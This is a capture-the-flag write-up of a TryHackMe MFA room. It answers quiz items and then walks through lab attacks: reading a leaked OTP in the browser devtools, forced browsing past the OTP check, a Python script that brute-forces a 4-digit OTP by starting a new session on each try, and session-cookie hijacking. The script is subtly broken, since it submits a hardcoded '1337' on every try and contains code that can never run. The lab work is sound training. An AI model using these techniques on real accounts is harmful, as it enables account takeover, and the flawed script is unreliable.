Multi-Factor Authentication TryHackMe Writeup | Detailed | → SuNnY
Room PreRequisites
- Familiarity with the general concepts of authentication mechanisms, including knowledge of how passwords and simple authentication processes work.
- Basic proficiency in navigating and using the Linux command line.
- Completion of the Enumeration & Brute Force room.
Task 1 : Introduction
Requires us to start the Machine →
Let’s Fire up the Machine 🔥🔥
Task 1 done !
Task 2 : How MFA Works
Question : When logging in to the application, you receive an SMS on your phone containing the OTP. What authentication factor is this?
The authentication factor described is something you have. In this case, the “something you have” is your phone, which you receive the OTP (One-Time Password) on. This is known as a possession factor in multi-factor authentication.
Task 3 : Implementations and Applications
Question : Is MFA an important factor in keeping our online and offline activities safe from threat actors? (yea/nay)
Yea — MFA (Multi-Factor Authentication) is crucial for enhancing the security of both online and offline activities. It adds an extra layer of protection by requiring multiple forms of verification, making it significantly harder for threat actors to gain unauthorized access.
Task 4 : Common Vulnerabilities in MFA
Question : What can be implemented to help prevent brute-forcing OTPs?
To help prevent brute-forcing of OTPs (One-Time Passwords), Rate Limiting can be implemented
Rate Limiting: Restricts the number of OTP entry attempts within a specific timeframe. After a certain number of failed attempts, temporarily lock the account or require additional verification.
Task 5 : Practical — OTP Leakage
OTP leakage refers to the unintended exposure or unauthorized disclosure of a One-Time Password (OTP). This can happen due to several reasons, such as:
- Man-in-the-Middle Attacks: An attacker intercepts the OTP during transmission, such as when it’s sent via SMS or email, allowing them to use it for unauthorized access.
- Phishing Attacks: An attacker tricks a user into revealing their OTP by impersonating a legitimate entity, such as a bank or service provider.
- Insecure Storage: If the OTP is stored insecurely on a device or server, an attacker might gain access to it.
- Social Engineering: An attacker convinces the user to disclose the OTP, often by pretending to be a trusted entity.
- SIM Swapping: An attacker takes control of a user’s phone number by tricking the mobile carrier, enabling them to receive the OTP intended for the user.
OTP leakage can lead to unauthorized access to accounts, compromising sensitive information or financial assets. It’s crucial to use secure methods of OTP generation, transmission, and verification to prevent leakage
The Room asks us to visit this URL → http://mfa.thm/labs/first
We are redirected to a login page
The credentials are already shared on the task 5 module page
Let’s now login to the page
We are redirected to an OTP page
By Entering credentials and submitting to initiate the login, this triggers an HTTP POST request that sets a session cookie or token.
After this we have to Open Developer Tools by Press F12
or right clicking and then inspect and navigate to the "Network" tab to capture HTTP requests/responses.
There we will find a 4-digit OTP; this triggers a POST request with the OTP and session info and can be used to login to the account
Task 6 : Practical — Insecure Coding
A logic flaw or insecure coding refers to errors or weaknesses in the design, implementation, or coding of a software application that can be exploited by attackers. These flaws occur when the software doesn’t behave as intended or expected, allowing unintended actions or bypasses of security controls.
Let’s use the credentials and login to the given URL for Task 6
We see almost similar page as the one we saw in task 5 above
We have to enter a 4-Digit Verification code that would have been sent to the email address of the account holder , but our object is to find the 4-Digit Code without the access of the account holder’s email address .
To override the OTP verification procedure we are going to use Forced Browsing (Unauthorized Direct Access)
Forced browsing occurs when an attacker can directly access resources, such as web pages or functionalities, by manipulating the URL or parameters, bypassing any authentication or authorization checks that should be in place. In this case — the login page requires a 4-digit OTP for verification. However, by directly navigating to http://mfa.thm/labs/second/dashboard, the attacker ( us ) can bypass the OTP verification process and access the dashboard directly.
Let’s now try it with the URL — http://mfa.thm/labs/second/dashboard and see what happens :
We are able to login to the account and a Task 6 Flag is Revealed
Task 6 Successfully completed !
Task 7 : Beating the Auto-Logout Feature
We see a similar login page with Task 7 as well
There is a python script provided to us as an exploit
import requests
# Define the URLs for the login, 2FA process, and dashboard
login_url = 'http://mfa.thm/labs/third/'
otp_url = 'http://mfa.thm/labs/third/mfa'
dashboard_url = 'http://mfa.thm/labs/third/dashboard'
# Define login credentials
credentials = {
'email': 'thm@mail.thm',
'password': 'test123'
}
# Define the headers to mimic a real browser
headers = {
'User-Agent': 'Mozilla/5.0 (X11; Linux aarch64; rv:102.0) Gecko/20100101 Firefox/102.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': 'http://mfa.thm',
'Connection': 'close',
'Referer': 'http://mfa.thm/labs/third/mfa',
'Upgrade-Insecure-Requests': '1'
}
# Function to check if the response contains the login page
def is_login_successful(response):
return "User Verification" in response.text and response.status_code == 200
# Function to handle the login process
def login(session):
response = session.post(login_url, data=credentials, headers=headers)
return response
# Function to handle the 2FA process
def submit_otp(session, otp):
# Split the OTP into individual digits
otp_data = {
'code-1': otp[0],
'code-2': otp[1],
'code-3': otp[2],
'code-4': otp[3]
}
response = session.post(otp_url, data=otp_data, headers=headers, allow_redirects=False) # Disable auto redirects
print(f"DEBUG: OTP submission response status code: {response.status_code}")
# print(response.text)
return response
# Function to check if the response contains the login page
def is_login_page(response):
return "Sign in to your account" in response.text or "Login" in response.text
# Function to brute-force the 4-digit OTP
def brute_force_otp():
for otp in range(10000): # Loop through all possible 4-digit PINs
session = requests.Session() # Create a new session object for each attempt
login_response = login(session) # Log in before each OTP attempt
if is_login_successful(login_response):
print("Logged in successfully.")
else:
print("Failed to log in.")
continue
otp_str = '1337'
print(f"Trying OTP: {otp_str}")
response = submit_otp(session, otp_str)
# Check if the response is the login page (unsuccessful OTP)
if is_login_page(response):
print(f"Unsuccessful OTP attempt, redirected to login page. OTP: {otp_str}")
continue # Move to the next OTP attempt
if response.status_code == 302:
location_header = response.headers.get('Location', '')
print(f"Session cookies: {session.cookies.get_dict()}")
return session.cookies.get_dict()
if location_header == '/labs/third/dashboard':
print(f"Successfully bypassed 2FA with OTP: {otp_str}")
return
elif location_header == '/labs/third/':
print(f"Failed OTP attempt. Redirected to login. OTP: {otp_str}")
else:
print(f"Unexpected redirect location: {location_header}. OTP: {otp_str}")
else:
print(f"Received status code {response.status_code}. Retrying...")
# Start the brute-force attack
brute_force_otp()
The Python code above attempts to brute-force a 4-digit OTP (One-Time Password) by repeatedly logging in and submitting an OTP on a web application. It tries to bypass the OTP verification by checking if the login and OTP submissions are successful, printing the status, and potentially extracting session cookies if the correct OTP is found.
Let’s save the python code as a file named exploit.py and try executing it in order to get the session cookie and we will use that cookie ID to login to the URL without needing any username and password or even an OTP
After multiple attempts of unsuccessful logins we finally see the Session Cookie ( PHPSSID )
0ldm5hbcia395jt2ebk9iehgjk
Now let’s use the PHPSSID above to login to the account using the login page without using any username , password and also OTP
Right Click > Inspect > Storage > Change the value of PHPSSID
After inputing the PHPSSID , Don’t forget to refresh the page